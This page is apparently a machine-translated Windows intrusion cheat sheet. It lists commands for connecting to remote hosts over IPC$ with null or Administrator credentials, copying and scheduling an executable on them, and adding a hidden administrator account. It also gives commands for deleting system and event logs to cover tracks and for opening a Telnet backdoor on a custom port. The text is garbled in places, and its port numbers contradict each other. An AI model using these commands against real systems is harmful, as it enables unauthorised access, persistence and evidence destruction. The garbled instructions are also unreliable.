Common system command line for third-level PCs

  

Several commonly used NET commands:

(establishing an air traffic connection with a remote host) net use //IP address /ipc$ "" /use: "" (Log in to the remote host as an administrator) net use //IP address/ipc$ "password" /use:"Administrator" (transfer files to the remote host WINNT directory) copy native directory path /Program //IP address/admin$ (view remote host time) net time //IP address (timed to start a program) at //IP address 02:18 readme.exe (view share) net view //IP address (View Netbios working group list) nbtstat -A IP address (map the remote host C drive to its own F drive) net use f: //IP address /c$ ""/user:"Administrator" Add to the administrator group yourself: net user username password /add net localgroup Administrators username /add (disconnected) net use //IP address /ipc$ /delete

Sweeping:

del C:/winnt/system32/logfiles/*.* del C:/winnt/ssytem32/config/*.evt del C :/winnt/system32/dtclog/*.* del C:/winnt/system32/*.log del C:/winnt/system32/*.txt del C:/winnt/*.txt del C:/winnt/*. Log

First, netsvc.exe

The following commands are listed on the host service items, search and remote start host "time task" service: netsvc /list //IP address netsvc schedule //IP address/query netsvc //IP address schedule /start

Second, OpenTelnet.exe

Remotely start the host's Telnet service and bind the port to the 7787, for example : OpenTelnet //IP address username and password 1 7878 Then you can telnet to the host's 7878 port, enter DOS mode: telnet IP address 7878

Copyright © Windows knowledge All Rights Reserved